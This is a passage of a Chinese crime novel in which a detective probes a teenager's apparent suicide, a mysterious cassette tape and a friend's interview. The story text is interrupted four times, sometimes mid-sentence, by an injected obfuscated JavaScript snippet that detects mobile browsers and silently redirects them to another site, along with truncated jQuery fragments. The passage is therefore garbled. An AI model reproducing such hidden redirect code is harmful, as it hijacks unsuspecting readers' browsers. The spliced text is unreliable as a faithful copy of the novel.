“我找不到他。”曲南星说,“案件审理结束后,他跟父母离开了榆州一段时间,听说是去其他城市看病了。直到前段时间小姨说看到刘蔚妈妈来医院拿药,我才知道他回来了。”
倒也合理。李成植点了点头。
“您这么问,是在怀疑我吗?”
李成植挥挥手,没有正面作答,“出于调查需要,刑警得弄清楚每一个潜在疑点,并非单独针对某个人,希望理解。”
“怀疑我毫无意义,因为我没有杀人的理由。”
李成植抬眼:“嗯?”
“刘蔚是我目前接触到的,唯一一个也许能解开谜团的人,不是么?现在他死了,对我没有任何好处。”
“好的,我会把这些都记下来。”李成植含糊地回答道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17065299|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼看问的差不多了,接下来就是回去确认一下曲南星的不在场证明。李成植站起身,打算告辞。
对方提出的那个问题,他不准备答复,原因他认为已经足够清楚地阐述过了:案件早就完成了审理,也不存在召回复审的可能。
曲南星也站了起来,“您要走了吗?我去喊小姨。”
“不必麻烦了,我这就走。”李成植在玄关边换了鞋,将拖鞋放回鞋架,然后拿起公文包。
“诶对了。”他把手放在门把上,“你小姨看起来很年轻啊,完全不像是快四十岁的人。”
“那当然了,她还不到三十呢。”
“啊?那岂不是跟你妈妈相差了……”
“十一岁。”曲南星蹲下来,动手整理歪向一边的鞋架,“我外公外婆去世的早,小姨是我妈妈帮忙带大的,她对我来说,既是姨妈也是姐姐。”
“哦,难怪她跟我聊天的时候叫你‘阿妹’呢。”
“是的呀,阿妹也是我小名。”
虽然看不到脸上的表情,但她的语气听起来轻松愉快,和刚刚餐桌上沉重的氛围形成了一种奇异的反差感。
李成植有些疑惑,手指不自觉摸了摸公文包里的录音笔,绿色的光芒在顶端闪烁。
针对曲南星的不在场证明展开调查,毫无疑问,没有任何进展。
独自在家,缺乏人证。但警方并不能因此断定她与案件有关,恰恰与之相反,目前分局里的主流观点,仍是刘蔚因情绪波动而割腕自杀。
如果想反驳这个观点,就必须找到足以证明存在他杀嫌疑的新证据。
案件到此陷入僵局,如无意外,会在短时间内按照自杀结案。
在拜访曲南星家的次日,市中心的商场内发生了一起感情纠纷引起的杀人案。虽然凶手杀死女友后跳楼自杀,当场死亡,后续的各种扫尾处理依然忙得李成植焦头烂额,无暇顾及其他。
直到下午六点半,他在系统里写完最后一份报告,点击上传,才长长地松了口气,向后仰倒在椅子上,闭目养神。
这时手机响了。
李成植按下接听键,将手机放到耳边,眼睛依然闭着:“喂?宋队啊,对我还在市局……嗐,事太多了走不掉……自愿加班呗还能怎么办,怎么了……什么?”
他猛地睁开眼睛坐直身体,顷刻间倦意全无。
电话是宋平盛打来的,告知他关于刘蔚案件在意想不到的地方出现了拐点。
一个小时前,长虹区分局接到了刘蔚班主任打来的电话。
电话中,班主任向接线警员报告了这么一件事:
本周一,也就是刘蔚推断死亡的前一天,刘蔚向班主任打电话要求请假一天,理由是精神状态不佳,家里人要带他去趟医院。
班主任知道刘蔚患有重度抑郁,并未起疑,就同意了他的请假,没有跟他妈妈再次确认。
然而,当警员跟刘蔚母亲确认此事时,却得到了截然不同的回答。
刘蔚母亲说,他这周都在按时上下课,上周日后也没再去过医院。甚至周一早上,刘蔚还背着书包准时离开了家门,完全是一副要去赶校车的样子。
进一步调查发现,刘蔚谎称请假去的地方,其实是位于乡镇的外公家。
即金振宇案件期间,他确认的不在场证明所在地。
34.录音磁带
向刘蔚母亲确认了地址后,宋平盛和下属驱车前往六十公里外的榆州乡镇区。
按照常理推测,刘蔚选择的交通方式极有可能是大巴,车程相比自驾要再延长三十分钟。
刘蔚的外婆在前年去世,外公独自一人住在老宅,他患有早期阿尔兹海默症,日常生活还能自理,但记忆力明显衰退,跟他沟通也相当费劲。经过一番简单的问询后,宋平盛给李成植打来这通电话。
“他外公怎么说?”李成植将手机贴在耳边问。
宋平盛:“老爷子不知道外孙是逃课来的,刘蔚骗他说学校放假,到乡下看看风景休息一下,他妈要上班就没跟过来。”
“刘蔚在那呆了一整天?”
“对,到下午四点才走。”
李成植:“那他总得做点什么吧?难道真的在田里看风景?”
宋平盛:“诶没错,老爷子说,刘蔚虽然说是来看风景,但压根没出门,一整天都呆在家里,但他也不像在玩,看起来很着急,到处找东西。还问他外公,之前搬家送来的那批老物件放在哪里。得知是在地下仓库后,他立刻就走楼梯下去了。”
李成植:“他在找什么?”
宋平盛:“老爷子说不知道,等到下午看他蛮高兴的样子,估计是找着了。”
李成植:“刘蔚什么都没说?”
宋平盛:“没说,但有个奇怪的地方,老爷子喊他留下来吃晚饭,他怎么都不肯,最后直接背着书包跑了。”
“他走的时候是四点,”李成植沉吟道,“坐大巴到榆州汽车站要一个半小时,再打车或者坐公交,到家大约六点半。是他平时坐校车回家的时间。”
“所以是为了防止被他妈发现?”
“我认为就是如此。他不想让家长知道自己这天的行踪,所以假装正常出门上学,最后按时回家。”
“就算有什么东西落在老家要去找,也没什么大不了的,没有必要特地瞒着他妈逃课去吧?”宋平盛疑问。
“问题就在这里,他到底在找什么。”李成植叹了口气,“地下室长什么样,能给我看看吗?”
“巧了,我拍了好几张照片,等会儿我微信发你。”
没过多久,手机传来消息震动。李成植点开微信,五张照片依次传过来,拍摄的画面由远及近,最开始是地下室的入口和大略环境,后面几张便都是各种杂物堆积成的小山。
室内乱七八糟,蜘蛛网和昆虫的尸体随处可见,看得出不常打扫或整理,不过这对于一个年近七旬且患有痴呆症的独居老人来说,未免有些苛刻。
李成植将那几张杂物的特写照放大,其中,有已经捂出霉斑的奥特曼模型,有发行时间为十年前的漫画杂志,有一摞香港电影光碟,还有一个老款随身听和一大箱音乐磁带,上面贴着周杰伦的大头照……
颇具年代感的气息,多半是刘蔚儿时的玩具,随着搬家被整理出来,暂时搁置在老家的地下室里。说是暂时,但主人家大概已经彻底把它们遗忘了。
“这些你们都翻过了吗?”李成植再次举起手机。
“是的,但没找到什么有价值的,我估计东西已经被刘蔚拿走了。”
“我想也是。”
“可你再看看这环境,正常来讲,应该不会把重要物品保存在这里吧?运气不好的话,很快就会发霉。”
李成植思考了片刻,答道:“嗯,你们打算现在走吗?”
“是啊,快七点了,老爷子准备睡觉了,我们也不好再多打扰。”
“外孙去世了,对他的生活好像没什么影响?”
“我看他呆呆的,说话都费劲,估计是女儿女婿觉得就算过来也帮不了什么忙,所以让他先在自己家等着,到办葬礼的时候再接他过去吧。”
“行,那路上小心,要是有什么发现就给我打电话。”
“没问题。”
挂断电话,李成植闭上眼睛向后仰倒,疲惫感再次浮上心头。
回想这几天发生的事,上周日,曲南星跟踪刘蔚找到他们家,两人在门口交谈,据邻居描述,气氛似乎并不融洽;
次日周一,刘蔚瞒着班主任和母亲,独自前往外公家的老宅,在地下室里寻找某个物品;
第三天周二,刘蔚死于家中浴室,死因是割腕导致失血过多,室内没有闯入或搏斗痕迹。
一切都在紧锣密鼓地发生,就好像有根看不见的丝线,将所有事情连接起来。真有这么巧吗?他不禁嘀咕。
***
放学铃声响起,整个教学楼的动静堪比五级大地震。
学生们以百米冲刺的速度飞奔下楼,谁也不知道他们是什么时候收的书包,也许最后几分钟就做好了准备,也可能压根懒得收拾直接出门。
才过去一分钟,楼道便被挤成了沙丁鱼罐头,即使如此,每个人脸上都洋溢着对即将到来的周末的憧憬。
曲南星将最后一本书放进书包,拉上拉链,身旁方怡宁还在对着乱七八糟的桌面发愁应该带哪些教辅资料回家。
周六校车的等待时间较为充裕,但这并不意味着像方怡宁这样有拖延症的学生会因此轻松,相反,他们会更加磨磨蹭蹭,不拖到最后一分钟不罢休。
“走吧走吧!”
终于,她背上犹如小山般的书包,向曲南星催促道——解决选择困难的唯一办法,就是全选。
就在这时,后门被人推开,班主任向里面探出头,发现教室还剩下两个人,刚好有她要找的,便招了招手:“等一下,曲南星,你过来拿个东西。”
两人对视一眼,虽然不太情愿,还是听话地走了过去。蒋老师背着帆布包,看起来也是打算下班回家的样子,她把手伸进包里,取出了两个信封,“喏,给你的。”
曲南星有些茫然地接过来。第一封的封皮上,写有寄件人的姓名:罗诚。
见状,身旁的方怡宁轻轻发出一声“嗯哼?”。
曲南星打开信封查看,里面是一张精致的节日贺卡。贺卡用标准的英文花体写着 【Merry Christmas】,第二行是【May your days be merry and bright】。曲南星知道,这是美国歌手平·劳克斯贝演唱的歌曲White Christmas里的歌词。
卡片背景是用亮片装饰的雪夜森林,半空中有一个驾着麋鹿雪橇的圣诞老人剪影,下面还有一行小字:【wish for snow,wait underneath the mistletoe】<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17069922|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>最后一个单词曲南星不认识,估计也是一句圣诞歌词。
“罗诚回上海之前放我这的,一直忘了给你,圣诞节都过了。”蒋老师有些歉意地解释道,看了眼曲南星,“你俩认识?”
“是小学和初中的校友。”
蒋老师若有所思地哦了一声,随即笑了:“可不能谈恋爱啊,他上岸了,你才刚入门呢。”
虽然知道她在开玩笑,但曲南星还是认真地回答道:“我不会早恋,老师放心。”
见她如此懂事,蒋老师脸上的笑意更加明显。曲南星又掏出第二封信,封皮上只写了“收件人:曲南星”,除此之外没有其他信息。
“这是?”
蒋老师耸了耸肩,“我也不知道哦,门卫师傅说在他那放了好久了,也不知道是谁放的,招呼都没打一个。还是今天师傅看到期中考试光荣榜上有你的姓名和班级,才拿到我这里。”
“谢谢老师。”
蒋老师看了眼黑板上的时钟,“你们该走了,回去再看吧,不然赶不上校车了。”
说完,她背起帆布包,踩着高跟鞋咚咚咚地走了。
方怡宁这时候倒不着急了,一个劲怂恿曲南星赶紧打开看看。
“说不定又是哪个写的情书。”她说着,再次“嗯哼”一声,嘴角憋着笑:“不过肯定选罗诚学长啦,其他男的在他面前完全没眼看,白费力气。”
“别乱说。”
曲南星拿起信封。奇怪的是,第二封信摸起来很厚,好像里面除了信纸外,还有别的东西。她撕开封口朝里看,里面装着约一厘米厚的扁平长方体,是一盘磁带。
“什么玩意?”方怡宁探头看了眼,又缩了回去:“这年头还有人用磁带?我以为商店都没得卖了。”
曲南星看着磁带掉了漆的边缘,忽然,产生了一种莫名的预感。
“你先去赶校车吧,我还有事要留下来。”
方怡宁大吃一惊:“你不走?快发车了诶?”
“没关系,我坐公交回去。”
说完,她把书包放回座位,拿着信封跑出教室。
“诶诶诶?”方怡宁在背后茫然地喊道。
英语老师的办公室位于二楼,曲南星进去的时候,所幸老师还没下班,正在桌前埋头批改作业。
她提出想借用一下录音机,就是平时播放听力用的那个,英语老师有些疑惑,但还是从柜子里拿出来给她。对于品学兼优的好学生,老师一向颇为宽容。
曲南星拎着录音机回到教室。
方怡宁已经走了,偌大的教室里空无一人。她关上前后门和窗户,想了想,把窗帘也拉上了。
将录音机放在讲台上,插上插头,然后抽出信封里的磁带。
曲南星先通体检查了一遍,磁带正面贴着周杰伦的大头照,已经由彩色掉成了灰白,看上去年代久远。
翻到背面,那里贴了一张便签,纸质明显是新的。
当看到上面的字迹时,她睁大了眼睛:
【你可以把这个交给警察。别再来找我,我真的什么都不知道。】
刹那间,有种触电般的感觉袭遍全身,连手指都不自觉发起抖来。
“咔哒”一声,她把磁带塞进弹开的卡座,按下播放键。
35.不寻常的会面
咖啡馆位于榆州中学侧门沿街向前一百米处,在周末和节假日的空闲时间,高中生们经常相约在里面碰头聊天。
方怡宁走进去的时候,看了眼门口的挂钟,指针显示十二点四十五分,距离她接到那则电话,已经过去了二十分钟。
按照约定,她径直来到最里面的位置,深吸了一口气,然后在扶手椅上坐下。
听到动静,餐桌对面的人抬起了头。
这是个四十岁左右的中年男人,穿着藏青色的冲锋衣,看上去像个饱经风霜的护林员,但方怡宁知道他的身份,这令她从心底感到畏惧。
在和对方的视线接触后,她惊觉自己之前见过这个人,是在几个月前的某一天下午,学校的体育馆外。
“你好,是方怡宁同学吧?”男人向她露出微笑,也许是为了缓和气氛,他用了与外表极不相符的和蔼语气。
“嗯,您是……李警官?”
姓李的刑警点头,“感谢你愿意过来一趟,接到电话的时候,你肯定很吓了一跳吧?”
“是的……因为,我从来没有接过警察的电话。”
“实在不好意思,占用你中午休息的时间。啊对了,你出校的原因,有没有跟其他老师或同学说过?”
方怡宁摇摇头,藏在桌下的手指下意识攥紧校服边缘:“我跟他们说我妈来学校找我有事,我出去见她,半个小时就回去。”
“这样解释也好,”刑警好像很满意她的回答,连连点头,“放心,如果顺利的话,最多也就二十分钟,绝对不会影响你下午的课程。来杯珍珠奶茶,可以吗?”
方怡宁咬着下唇,轻轻点头。
过了一会儿,服务员端着托盘走过来,将两个盛有奶茶的高脚玻璃杯放在桌上,等人走远后,刑警开口道:
“那我们就开门见山吧,你是曲南星的同桌,没错吧?听班主任说,你们俩关系很不错?”
“我们是彼此最好的朋友。”
“你们认识多久了?”
“从小学三年级开始……”方怡宁算了算,“已经八年了。”
“那就是发小了呀,”刑警说,“那么,你对曲南星同学的了解肯定很深吧?”
方怡宁越发不安,不知道为什么,在这人的目光注视下,她的所有思想似乎都变成了透明,只能机械式地答话:“是的。”
“在你的印象里,曲南星同学是个什么样的人?没关系,说什么都可以。”
“她……很聪明,待人友善,长得也漂亮,同学们也都很喜欢她……”
似乎都是些无关紧要的词,但对面的警察并没有因此表现出不悦,反而用充满鼓励的目光看着她。
于是她鼓足勇气,接着说道:“可能……她并不是那么外向的人,和不怎么熟悉的同学相处,会有一点距离感,所以也有人会觉得她很高冷。”
“嗯,谢谢,还有别的吗?”
方怡宁感到了灵感的枯竭,绞尽脑汁想了一会儿,说道:“有时候,会觉得她很……嗯……很神秘。”
听到这个词,刑警的眼睛亮了起来。
“神秘?”他重复了一遍,“能具体说说吗?什么地方让你觉得神秘?是她最近的表现跟以往相比,有什么异常之处吗?”
方怡宁连连摆手,虽然是冬天,但不知不觉间,汗水顺着额头流进了鬓角:“不是的,我的意思是……”
她斟酌着用词,放慢说话速度:“一种气质,一种非常神秘的、很不常见的气质,和其他人完全不同,您……明白吗?”
刑警似乎陷入了思考。
生怕对方的思路被自己带到不可控制的方向,方怡宁急忙道:“这应该可以理解吧?李警官,您应该也知道她家里……她妈妈的事,您知道的吧?”
刑警点头,“嗯,这个我知道。”
“也许就是因为童年经历了那样的惨剧,才会产生距离感,不轻易相信别人,这很合理,不是吗?”
“这么说来,你能成为她的好友,想必过程很不容易吧。”
“我确实费了一番心血才走进她心里。”说这话时,方怡宁感觉脑子里有一把火在烧,她急切地想要告诉对面的警察真相。
“不好意思,但我有点好奇,既然如此,你为什么一定要和她成为朋友呢?在学生时代,一般来讲,性格温和外向的朋友会更受欢迎吧。”
方怡宁的手指攥得更紧,校服下摆崩成几条笔直的线,她吸了口气,抬头直视着刑警的眼睛:“因为我非常喜欢她,我觉得,能跟曲南星同学成为朋友,是一件非常幸运的事情。就是这个原因,我不觉得有什么问题。”
“既然是朋友,我就会无条件相信她、帮助她,我相信她对我也一定是这样。”
闻言,刑警露出笑容。
“原来如此。那最近一段时间,她有没有跟你说自己有什么烦恼,请你帮忙之类的?比如说家里突然有事,或者出于某些原因情绪反常,有么?”
看来他的怀疑并没有减轻。
“没有。”方怡宁摇头,沉默了几秒后又道:“李警官,您之前认识她吗?”她自己都没想到会反客为主,话一出口就有点紧张。
“见过几次面,还算熟悉。”
“您只跟她见过几次,但我已经认识她八年了,我确信,她虽然有时候表面看着冷淡,但内心深处是个温暖、正直、且善良的女孩子。”
她还想加一句——你所怀疑的事情,不可能和曲南星有关。
但忍住了。
二十分钟很快到了,警察似乎也没有准备其他问题,眼看谈话即将结束,方怡宁犹豫再三,还是憋不住道:“在电话里,您只说找我了解情况,但没有说具体是什么原因,现在可以告诉我吗?”
对面刑警露出迟疑的表情,“这个……很抱歉,出于保密性原则,目前无法透露。”
果然如此。
“看来那个案子还没有结束啊……”她低声喃喃道。
“案子?”刑警皱起眉头,问,“什么案子?”
方怡宁便向他说明了几个月前,有警察来学校调查命案的事,以及因为和班主任的谈话被泄露,导致曲南星遭受班级学生集体霸凌,也都一并告诉了对方。
对面的刑警听闻此言,显得相当吃惊,说自己就是当时来学校调查的警员。方怡宁急忙向他打听那起案件的后续。
“早就结案了。”刑警诧异地看她一眼,“你,不知道吗?”
方怡宁摇摇头:“我不知道,而且我们班所有人包括班主任都不知道,所以才越传越离谱。”
不料,刑警并没有表现出豁然开朗,反而陷入了沉默。
“凶手抓到了吗?”方怡宁趁机询问。
“嗯,是死者所在网吧的老板。”
“太好了!”方怡宁高兴极了,又转而小心翼翼地问,“这个……我能告诉其他人吗?”
刑警摊开手:“请便。想必最近几个月,因为这件事,曲南星同学在学校过得很艰辛吧。”
“可不是嘛。”方怡宁用力点头,将放学时在图书馆遇到小混混
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17076440|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
、恶意修改志愿板等事件,都原原本本告诉了他。
“那她本人对此是什么态度呢?”
“她说只是无聊的谣言而已,不用理会,过不了多久就会不攻自破的。”
“不攻自破……”刑警喃喃重复道,一边缓慢点头。
方怡宁终于意识到问题所在。
“既然案件已经结束了,为什么您还来找我呢?还能有什么事?”
“啊?哦,这是例行调查。”刑警说道。
听这语气,方怡宁能感觉到他在含糊其辞,大概就是之前所说的“无法透露的原因”吧。
谈话结束,她站起身来,对面的刑警还坐着没动。也许是后面还约了别人?方怡宁暗想。
她不禁感到好奇,接下来这个警察还要找谁呢?但这个问题很明显不会给她答案,于是她乖乖向门口走去,打算返回学校。
出门前,她犹豫了一下,回头问道:“请问……今天您找我谈话的事,我回去之后,可以告诉别人吗?”
他们两人都心知肚明,“别人”,毫无疑问就是指曲南星。
刑警语气温和:“如果方便的话,还是希望你能保密。”
“好吧。”
方怡宁将手放在弧形门把上,已隐约听到了门外风铃的叮叮当当,身后再次传来声音:“曲南星同学对体育很感兴趣吗?”
她一愣,扭头:“什么?”
中年刑警仍坐在桌后,远远地向她笑着说道:
“哦,就是随口问问,我觉得她看起来过于瘦弱,不像是喜爱运动的人。得知她参加了你们学校的网球社,令我很吃惊啊。”
“就是因为瘦弱所以才要加强锻炼嘛。”
方怡宁感觉有些不舒服,这个警察到底私下里打听了多少事,是否除了自己外还找过其他同学?会不会跟传播曲南星的谣言有关?
“那倒也是,是什么时候开始的?”
“开始什么?”
“开始参加这类体育活动。听说她本来想报的是英语阅读社?”
“就上了高中开始吧,今年九月。”方怡宁心想他居然知道这么多,“我们初中又没有社团。”
也许是察觉到了她语气变得不耐,中年刑警不再追问,挥手向她告别。
真是个啰嗦的条子,神神叨叨的,到底在查什么?方怡宁心想,一声不吭地推门离开。
***
把人送后,李成植留在座位上,他还有很多问题需要捋一下,不急着走。
眼前是两杯没动过的珍珠奶茶,他拿起一杯喝了口,甜的龇牙咧嘴,跟上次相比更需要胰岛素了。
过了一会儿,他掏出手机,在通讯录里找到了某个号码,拨了出去。
没人接。
他又拨了一次,还是没人接。
第三次拨出后,过了十几秒钟,终于接通了。
他将手机拿到耳边。
“喂?哦你刚刚在打游戏啊,不好意思……”
“对,是我,这个月初联系过你……别紧张,有件事要告诉你……刘蔚死了。”
“喂?还在听吗?喂?”
“你不说话我还以为挂断了……目前还没有调查结果,存在一定自杀的可能性……冷静,我没有说怀疑你,先听我说完,别大喊大叫好吗?”
“……对,案件情况就是这样。再跟你确认一下,上次电话里你说最近一段时间都不在榆州,是么,林鸿同学?”
“哦抱歉,我又忘了你已经改名了,林嘉阳同学。”
36.监控
当李成植挂断电话走出咖啡馆,手机已经没电了。
他今天没开车,本来跟何骐说好了结束之后来接他,但手机没电联系不了,只能选择打出租或者坐公交,所幸兜里还有钱。
在路边拦下一辆出租车,报出目的地是市公安局时,司机透过后视镜打量了他几眼。李成植见怪不怪,坐在后排拿着自动关机的手机看了又看。
明明出门时满格电,怎么才过了几个小时就用完了?总共也就打了两次电话而已,质量真是堪忧。
这部金立手机是四年前买的,那时候还是电器城里的热门货,现在这个牌子已经从商场里消失了,“苹果”、“华为”这些知名大品牌在近几年飞速崛起,很快便占领了国内大部分智能手机市场。
或许是该换一部手机了。李成植想,他眼前浮现几天前的傍晚,在那个女孩家里,她镇定地掏出手机放在桌上的情景。
她用的是苹果几来着?
李成植看了眼手机背面,代表金立的几个英文字母已经几乎磨光了。
要不下班之后就去买个新的?不知道新款苹果手机需要多少钱,恐怕不会低于五千,真贵啊,都快抵得上一个月工资了。
去年小姨子的儿子,也就是他的外甥考上大学的时候,妻子王卉就买了一部新款苹果手机作为礼物,花了多少钱她也没说,让他别管。
他不禁苦笑,毕竟是从小被徐卉疼爱到大的外甥,她看那孩子就跟亲儿子似的,自己的地位大概不能与之相提并论。
如果一声不吭买了这么贵的手机回家,都不敢想象下场会有多可怕。
在市局门口下车后,他径直向四楼的办公室走去。
令人意外的是,他在电梯口遇到了何骐,对方告诉他,长虹区的宋队长已经等他很久了。
“怎么不接电话?我打过去几次都是关机,还以为你出啥事了。”
一进门,宋平盛迎上来,他穿着正装,胳膊底下夹着一个文件袋。
“不好意思,手机没电了。”
李成植请他坐下,然后给手机插上数据线,打量了他一眼,“穿这么正式?来办事?”
“对,来市局做汇报。你电话打不通,我就想着顺路过来跟你说得了。”
“有进展了?”
李成植拿出两个纸杯,放了一撮茶叶后,走到饮水器旁接水,问道。
“大进展。”
“说来听听。”
宋平盛接过纸杯,仰头喝了一口,说道:“总结起来就是,那个女学生的嫌疑基本消除了。”
听到这话,李成植抬起头来:“你说什么?”
“我们发现了关键证物——摄像头。”
“不是说小区内部和周边地区都没有安装吗?”
“并不是在小区里,而是在死者家里。”
“在刘蔚家里?”
这句话让李成植大吃一惊,紧盯着他。
“没错。死者母亲整理遗物时,发现了柜子里有摄像头的包装盒,这才想起,去年初刘蔚发病严重隔三差五闹自杀的时候,她白天忙着打工,没办法一直盯着儿子,于是想到在家里装摄像头,手机后台能看实时监控。”
“装在什么地方?装了几个?”李成植急切地问。
“在厨房。”
“厨房?见鬼,怎么想都是卧室更危险吧?”
“刘蔚以侵犯隐私为由,坚持拒绝在卧室装监控,加上刘蔚有一次去厨房拿水果刀割腕,所以……最后他们夫妻俩决定装在厨房里,就在放刀架的橱柜顶上。”
“刘蔚手上没工具吗?”
“应该没有。”宋平盛摇了摇头,“他妈对儿子管控很严,每天下班回来都会检查他卧室有没有奇怪的东西,刀子之类的更是不可能放在他身边。”
“那她怎么才想起来这回事?”
“后来刘蔚在五院治疗一段时间,病情稳定了,你也知道,他从去年八月到自杀前的那段期间,都没有明显发病迹象,所以他妈渐渐就不再去看监控,甚至于忘了安装过摄像头。”
“原来如此……那监控拍到了什么?”
“画面显示,刘蔚独自一个人走进厨房,从冰箱里拿出一瓶没开封的橙汁,然后走了出去。”
“只有这些?”李成植大感失望。
“对,监控视角有限。而且因为在高处,也看不到刘蔚当时的表情,没办法判断他的情绪和心理状态。”
“有声音吗?有没有其他人的说话声?”
宋平盛摊开手:“那是个功能很少的老款摄像头,只有画面,没有声音。而且画面只能保存七天,还好他妈想起得早,不然就被覆盖掉了。”
“哎,可惜,但这也是没办法的事。”李成植叹了口气。
用于监控有自杀倾向的儿子,摄像有没有声音,对于母亲来说根本不重要,她只需要关注儿子走进厨房后是否靠近刀具就行。
“是啊。”宋平盛拿起纸杯,喝了一口,“哦对了,还记得尸体旁边的橙汁吗?就是他从冰箱拿的那瓶,在杯子里检测到了□□。”
□□。
李成植知道这个,是知名的安眠类药物,而且是处方药,普通药店无法买到。
他询问来源是否为刘蔚从医院开出的精神类药物,得到了宋平盛肯定的回答,并进一步说明,□□平时都放在刘蔚卧室床头柜的最下层抽屉里,主要用于治疗失眠症,为了防止意外,刘蔚母亲隔三差五就会数一遍药片数量。
“刘蔚死前一天是15片,今天上午我数了一遍,13片,用了两片。”宋平盛说道。
李成植缓缓点头:“所以,刘蔚那天晚上先给自己倒了一杯橙汁,把安眠药放进去,然后去他妈的卧室找出裁纸刀,一起拿到浴室里,在给浴缸倒满热水后,他喝下了橙汁,然后割开动脉把手腕泡进水里。你们是这么推测的?”
“没错,”宋平盛说,“而且从另一个角度来说,如果当时有第二个人在——假设就是你怀疑的那名女高中生——不是很奇怪吗?周日他们初次见面,刘蔚连门都不让进,怎么只过了短短两天时间,既把人请进来,还特地用果汁招待?前后态度变化未免也太快、太大了吧。你都告诉过他129案的两名嫌疑人已经死了,他本人还患有精神疾病容易东想西想,看到那个女生的时候,不会觉得害怕吗?”
“确实。”
对于这个观点,李成植无法提出反驳意见。
“再退一步,刘蔚总不可能主动告诉对方□□的所在位置,意味着她得自己去卧室翻找,在这个过程中,刘蔚就站在旁边看着,完全无动于衷?”
李成植再次点头。
“那就只剩下一种解释了,自杀。”宋平盛长长呼出一口气,“只有自杀能解释他这一系列操作,无论是拿橙汁,还是药片数量减少。”
“关于刘蔚逃学去老家的行为,你们是怎么看的?”沉默了片刻后,李成植问。
“这不好说,因为无法得知他究竟从地下室里拿走了什么。不过……”
宋平盛沉吟着,答道,“领导看到报告后,提出可能就是因为刘蔚前一天与受害人女儿见面,内心
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079755|192971||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大受震撼,回想起自己做过的蠢事非常后悔,所以第二天出现了各种反常行为。”
我的调查反而成为了一种证明吗?李成植不禁苦笑。
“我该走了。”
宋平盛把纸杯扔进垃圾桶,从椅子上站起来。
他拿起公文包,再次面向李成植,说道:“还有什么地方需要再调查吗?不出意外的话,今天汇报完就正式结案了。”
李成植默默思考片刻,然后摇了摇头:“应该没了,辛苦,你是专门来市局报告案情的吧。”
宋平盛摆手:“这算啥,一个普通的高中生自杀案,轮不到找领导说事。”
“那是为了?”李成植好奇。
“就是你怀疑的那个女高中生,之前顺藤摸瓜查到她表哥涉及滥用职权,出售□□视频,记得吗?青云路派出所那个二五溜子。”
说着,宋平盛不禁咬牙切齿。
李成植恍然大悟:“他怎么了?判决结果出来了?”
“对,罚款两万。”
“没判刑?”
“这小子卖视频总共才赚了五千块,离判刑标准远着呢,而且上头也嫌丢人,催检察院赶紧处理,最后按违法所得的四倍让他交了罚款赶紧滚。当然,工作肯定是没了。”
“算是便宜他了。”
“那可不,这臭小子,说他胆子小吧,他敢把查封的违法物品偷去卖钱,说他胆子大吧,一部视频才收人家五块钱,我都怀疑他是不是跟长虹分局有仇了,钱没挣多少,脸给我们丢光。”
两人不禁面对面苦笑起来。
出门前,宋平盛又想起了什么似的,转头说道:“哦还有个事,不过应该不重要。”
李成植:“什么事?”
“鉴证人员顺手查了一下,发现在刘蔚回外公家期间,曾用老宅的座机拨出了一通电话。”
“打给谁了?”
“尾号为9631,是个没经过实名认证的号码,在他手机通讯录里也没找到相关信息。”
“是刘蔚主动打出的?”
“对,他外公说了,刘蔚问他家里的座机还能不能用,得到肯定答复后就走了。”
李成植沉吟着问道:“你怎么看?”
“这没什么吧,可能是广告或者诈骗什么之类的,这些小作坊经常用无实名号码打骚扰电话,也有可能是他某个关系还可以的同学,随便聊聊,毕竟通话只持续了半分钟左右。”
“好吧。”
将人送走后,李成植回到座位上坐下。
已经下午三点了,冬天天黑的早,加上又是阴天,办公室里没开灯,显得格外昏暗。“啪”的一声,李成植按下台灯开关,灯光瞬间照亮了室内。
“是自杀吗……”
他对着空荡荡的办公室喃喃道。
脑海中很多疑点纷至沓来,但无一例外,都被拦截在宋平盛刚刚说的那句“无法同时解释拿橙汁和药片数量减少”外面,就好像完全是他的臆想。
他的视线落在桌上,米白色的纸杯静悄悄地放在桌角,里面装的不是橙汁而是茶水,在它旁边的笔筒里,露出了一把裁纸刀的尖头。
李成植皱起眉头。
这样一来,另一个之前被忽视的疑点就要再次重提了。
